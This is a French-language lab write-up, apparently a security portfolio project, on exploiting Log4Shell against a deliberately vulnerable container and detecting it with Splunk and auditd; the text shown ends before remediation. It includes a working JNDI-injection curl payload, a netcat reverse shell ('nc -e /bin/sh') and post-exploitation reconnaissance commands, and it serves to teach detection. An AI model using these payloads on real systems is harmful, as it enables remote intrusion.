
Projet pratique démontrant l'exploitation de Log4Shell, l'ingénierie de détection avec Splunk et auditd, et une remédiation validée dans un environnement conteneurisé.
Un projet de sécurité offensive et défensive pratique simulant le cycle de vie complet de la vulnérabilité Log4Shell : exploitation depuis une VM contrôlée par l'attaquant, ingénierie de détection dans Splunk, et remédiation validée.
La plupart des projets de portfolio dans ce domaine couvrent le brute-force SSH. Je voulais quelque chose qui démontre un ensemble de compétences plus complet : exploiter une CVE réelle à fort impact de bout en bout, puis basculer du côté défensif pour la détecter et la corriger, le même cycle de vie qu'un ingénieur sécurité ou un ingénieur détection traverse en pratique.
illshot (192.168.1.85), exécutant Splunk nativement pour l'ingestion de journaux et la détectionghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot, Log4j 2.14.1, Java 8u181) exécutée dans un conteneur Docker, journaux redirigés vers syslog de Mint via --log-driver=syslog1. Configurer l'écouteur et l'outil d'exploitation. J'ai démarré un écouteur netcat sur Kali pour capturer le callback du reverse shell, puis lancé un outil JNDI-Injection-Exploit auto-compilé (compilé depuis les sources car les versions précompilées n'étaient pas disponibles) pour servir la charge utile LDAP malveillante.

2. Envoyer l'exploit. J'ai délivré la charge utile via un en-tête HTTP forgé contenant une chaîne de recherche JNDI, ciblant l'application vulnérable sur le port 8080.
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

3. Capturer le shell. L'application vulnérable a analysé l'en-tête, déclenché la recherche JNDI, et contacté ma machine Kali pour récupérer et exécuter la classe malveillante, résultant en un reverse shell s'exécutant en tant que root à l'intérieur du conteneur.

Reconnaissance post-exploitation (comme le ferait un véritable attaquant) : confirmation de l'accès root, examen des variables d'environnement (propres, aucune secret divulgué), inspection du jar de l'application, et examen de /etc/passwd, qui a révélé un ensemble de comptes de service inutilisés de l'image de base Alpine, un bon exemple d'artefact de reconnaissance trompeur qui ne reflète pas la surface d'attaque réelle.
Splunk, ingérant le syslog de Mint, a capturé toute la chaîne d'exploitation : la requête de recherche JNDI initiale, la trace de pile NamingException et ClassCastException résultante, ainsi que les commandes sudo docker exec associées utilisées pour interagir avec le conteneur au niveau de l'hôte.

La reconnaissance était également visible avant l'exploitation : les journaux du pare-feu UFW ont capturé le trafic de scan Nmap depuis Kali vers la cible.

Un résultat technique clé de ce projet : un reverse shell brut nc -e /bin/sh ne s'authentifie jamais via PAM, il ne génère donc aucune entrée dans auth.log et aucune session de connexion. À lui seul, cela rendrait ce type de shell invisible pour la journalisation standard basée sur les connexions.
Cependant, les conteneurs Docker partagent le noyau de l'hôte plutôt que d'exécuter des noyaux virtualisés entièrement isolés. Cela signifie que chaque execve (exécution de processus) à l'intérieur du conteneur reste visible par le sous-système d'audit de l'hôte. J'ai configuré auditd sur Mint pour surveiller les appels système execve à l'échelle du système, étiqueté la règle (container_exec), et alimenté /var/log/audit/audit.log dans Splunk comme nouvelle source.

En redéclenchant l'exploit et en exécutant des commandes post-exploitation (whoami, cat /etc/passwd, ls /app, env), la théorie a été confirmée : auditd a capturé chaque commande, y compris l'invocation brute du reverse shell nc elle-même, avec l'IP et le port de l'attaquant directement visibles dans les arguments journalisés.

L'activité post-exploitation plus large était également entièrement visible, s'exécutant sous /bin/busybox (le shell minimal du conteneur implémente la plupart des outils Unix comme des liens symboliques vers un seul binaire BusyBox, donc comm affiche busybox tandis que exe résout toujours le chemin complet) :
